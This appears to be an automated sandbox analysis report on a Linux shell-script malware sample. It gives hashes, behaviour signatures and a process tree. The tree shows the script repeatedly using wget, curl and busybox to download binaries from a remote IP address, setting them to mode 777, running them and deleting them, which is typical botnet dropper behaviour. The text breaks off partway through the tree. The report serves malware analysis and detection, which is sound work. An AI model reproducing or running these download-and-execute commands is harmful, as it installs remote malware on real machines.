Analysis
-
max time kernel
28s -
max time network
130s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
21/11/2024, 05:23
Static task
static1
Behavioral task
behavioral1
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
-
Size
10KB
-
MD5
7d4915a02bbc4a1ae7b70fed6d3293c1
-
SHA1
b164b6db9f2e8375942f65d81fdbee4d41650560
-
SHA256
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926
-
SHA512
6830a2ff2527d337e1e6b83939662fb92e363729989c13b85ad949521942da0b5acfade63e558e549f074167b1367ba6ae1d980f9217d63cc670c0d53ed0ce28
-
SSDEEP
192:jrE/uXvn65QyKeioEWfPDt92igPn12igPnA/WXvn65QjeiojPDv:jrE2Xvn6uymWp92igPn12igPnAeXvn61
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1514 chmod 1544 chmod 1592 chmod 1538 chmod 1670 chmod 1616 chmod 1658 chmod 1508 chmod 1550 chmod 1580 chmod 1604 chmod 1664 chmod 1556 chmod 1568 chmod 1628 chmod 1640 chmod 1574 chmod 1598 chmod 1652 chmod 1520 chmod 1526 chmod 1562 chmod 1586 chmod 1634 chmod 1646 chmod 1532 chmod 1610 chmod 1622 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM 1509 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE 1515 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ 1521 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik 1527 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq 1533 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN 1539 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc 1545 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX 1551 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 1557 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm 1563 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f 1569 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD 1575 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y 1581 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ 1587 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f 1593 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD 1599 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y 1605 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ 1611 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM 1617 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE 1623 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ 1629 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik 1635 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq 1641 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN 1647 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc 1653 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX 1659 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 1665 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm 1671 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM curl File opened for modification /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD curl File opened for modification /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX curl File opened for modification /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE curl File opened for modification /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik curl File opened for modification /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN curl File opened for modification /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik curl File opened for modification /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc curl File opened for modification /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 curl File opened for modification /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD curl File opened for modification /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq curl File opened for modification /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm curl File opened for modification /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ curl File opened for modification /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ curl File opened for modification /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX curl File opened for modification /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f curl File opened for modification /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM curl File opened for modification /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq curl File opened for modification /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y curl File opened for modification /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ curl File opened for modification /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc curl File opened for modification /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 curl File opened for modification /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE curl File opened for modification /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN curl File opened for modification /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y curl File opened for modification /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ curl File opened for modification /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm curl File opened for modification /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f curl
Processes
-
/tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh/tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh1⤵PID:1500
-
/bin/rm/bin/rm bins.sh2⤵PID:1501
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:1502
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Writes file to tmp directory
PID:1506
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:1507
-
-
/bin/chmodchmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- File and Directory Permissions Modification
PID:1508
-
-
/tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Executes dropped EXE
PID:1509
-
-
/bin/rmrm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:1510
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:1511
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Writes file to tmp directory
PID:1512
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:1513
-
-
/bin/chmodchmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- File and Directory Permissions Modification
PID:1514
-
-
/tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Executes dropped EXE
PID:1515
-
-
/bin/rmrm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:1516
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:1517
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Writes file to tmp directory
PID:1518
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:1519
-
-
/bin/chmodchmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- File and Directory Permissions Modification
PID:1520
-
-
/tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Executes dropped EXE
PID:1521
-
-
/bin/rmrm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:1522
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:1523
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Writes file to tmp directory
PID:1524
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:1525
-
-
/bin/chmodchmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- File and Directory Permissions Modification
PID:1526
-
-
/tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Executes dropped EXE
PID:1527
-
-
/bin/rmrm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:1528
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:1529
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Writes file to tmp directory
PID:1530
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:1531
-
-
/bin/chmodchmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- File and Directory Permissions Modification
PID:1532
-
-
/tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Executes dropped EXE
PID:1533
-
-
/bin/rmrm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:1534
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:1535
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Writes file to tmp directory
PID:1536
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:1537
-
-
/bin/chmodchmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- File and Directory Permissions Modification
PID:1538
-
-
/tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Executes dropped EXE
PID:1539
-
-
/bin/rmrm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:1540
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:1541
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Writes file to tmp directory
PID:1542
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:1543
-
-
/bin/chmodchmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- File and Directory Permissions Modification
PID:1544
-
-
/tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Executes dropped EXE
PID:1545
-
-
/bin/rmrm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:1546
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:1547
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Writes file to tmp directory
PID:1548
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:1549
-
-
/bin/chmodchmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- File and Directory Permissions Modification
PID:1550
-
-
/tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Executes dropped EXE
PID:1551
-
-
/bin/rmrm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:1552
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:1553
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Writes file to tmp directory
PID:1554
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:1555
-
-
/bin/chmodchmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- File and Directory Permissions Modification
PID:1556
-
-
/tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Executes dropped EXE
PID:1557
-
-
/bin/rmrm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:1558
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:1559
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Writes file to tmp directory
PID:1560
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:1561
-
-
/bin/chmodchmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- File and Directory Permissions Modification
PID:1562
-
-
/tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Executes dropped EXE
PID:1563
-
-
/bin/rmrm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:1564
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:1565
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Writes file to tmp directory
PID:1566
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:1567
-
-
/bin/chmodchmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- File and Directory Permissions Modification
PID:1568
-
-
/tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Executes dropped EXE
PID:1569
-
-
/bin/rmrm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:1570
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:1571
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Writes file to tmp directory
PID:1572
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:1573
-
-
/bin/chmodchmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- File and Directory Permissions Modification
PID:1574
-
-
/tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Executes dropped EXE
PID:1575
-
-
/bin/rmrm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:1576
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:1577
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Writes file to tmp directory
PID:1578
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:1579
-
-
/bin/chmodchmod 777 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- File and Directory Permissions Modification
PID:1580
-
-
/tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y./asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Executes dropped EXE
PID:1581
-
-
/bin/rmrm asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:1582
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:1583
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Writes file to tmp directory
PID:1584
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:1585
-
-
/bin/chmodchmod 777 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- File and Directory Permissions Modification
PID:1586
-
-
/tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ./Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Executes dropped EXE
PID:1587
-
-
/bin/rmrm Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:1588
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:1589
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Writes file to tmp directory
PID:1590
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:1591
-
-
/bin/chmodchmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- File and Directory Permissions Modification
PID:1592
-
-
/tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Executes dropped EXE
PID:1593
-
-
/bin/rmrm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:1594
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:1595
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Writes file to tmp directory
PID:1596
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:1597
-
-
/bin/chmodchmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- File and Directory Permissions Modification
PID:1598
-
-
/tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Executes dropped EXE
PID:1599
-
-
/bin/rmrm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:1600
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:1601
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Writes file to tmp directory
PID:1602
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:1603
-
-
/bin/chmodchmod 777 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- File and Directory Permissions Modification
PID:1604
-
-
/tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y./asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Executes dropped EXE
PID:1605
-
-
/bin/rmrm asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:1606
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:1607
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Writes file to tmp directory
PID:1608
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:1609
-
-
/bin/chmodchmod 777 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- File and Directory Permissions Modification
PID:1610
-
-
/tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ./Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Executes dropped EXE
PID:1611
-
-
/bin/rmrm Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:1612
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:1613
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Writes file to tmp directory
PID:1614
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:1615
-
-
/bin/chmodchmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- File and Directory Permissions Modification
PID:1616
-
-
/tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Executes dropped EXE
PID:1617
-
-
/bin/rmrm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:1618
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:1619
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Writes file to tmp directory
PID:1620
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:1621
-
-
/bin/chmodchmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- File and Directory Permissions Modification
PID:1622
-
-
/tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Executes dropped EXE
PID:1623
-
-
/bin/rmrm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:1624
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:1625
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Writes file to tmp directory
PID:1626
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:1627
-
-
/bin/chmodchmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- File and Directory Permissions Modification
PID:1628
-
-
/tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Executes dropped EXE
PID:1629
-
-
/bin/rmrm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:1630
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:1631
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Writes file to tmp directory
PID:1632
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:1633
-
-
/bin/chmodchmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- File and Directory Permissions Modification
PID:1634
-
-
/tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Executes dropped EXE
PID:1635
-
-
/bin/rmrm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:1636
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:1637
-
-
